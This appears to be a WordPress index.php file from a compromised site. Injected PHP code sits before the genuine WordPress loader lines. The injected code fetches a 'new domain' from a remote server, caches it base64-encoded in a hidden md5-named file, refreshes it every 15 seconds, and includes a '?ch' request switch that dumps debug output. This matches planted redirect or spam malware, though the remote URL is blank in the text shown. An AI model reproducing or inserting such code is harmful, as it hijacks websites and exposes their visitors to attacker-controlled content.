if(isset($_REQUEST['ch'])){error_reporting(E_ERROR | E_WARNING | E_PARSE);ini_set('display_errors', true);ini_set('error_reporting', E_ERROR | E_WARNING | E_PARSE); } $alias = "29521696931186"; $key = "ab2a10b971edd267019fea95f18295ac"; $file = dirname(__FILE__) . "/" . md5($alias); $time = time(); $file_exist = file_exists($file); $filetime = 0; $edittime = 0; $domain = false; if ($file_exist) { $filetime = filemtime($file); $edittime = $time - $filetime; $datafile = fopen($file, 'r'); $dcres = json_decode(base64_decode(fread($datafile, filesize($file))) , 1); if(!empty($dcres['domain'])) $url = $dcres['domain']; fclose($datafile); } if ($edittime >= 15 || !$file_exist || !$url) { $dcres = getdata($file,$key,$alias); if(isset($_REQUEST['ch'])){ var_dump($dcres); } if ($dcres['domain']) { $url = $dcres['domain']; } } function getdata($file,$key,$alias){ $newdomainurl = ''; if(function_exists('curl_version')){ $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, 'get new domain'); curl_setopt($curl, CURLOPT_URL, $newdomainurl); curl_setopt($curl, CURLOPT_TIMEOUT, 5); $res = curl_exec($curl); curl_close($curl); }else $res = file_get_contents($newdomainurl); if(isset($_REQUEST['ch'])){ var_dump($res); } $dcres = json_decode($res, true); if ($dcres['domain']) { $cache = fopen($file, 'w+'); fwrite($cache, base64_encode($res)); fclose($cache); return $dcres; } return false; } ?> /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';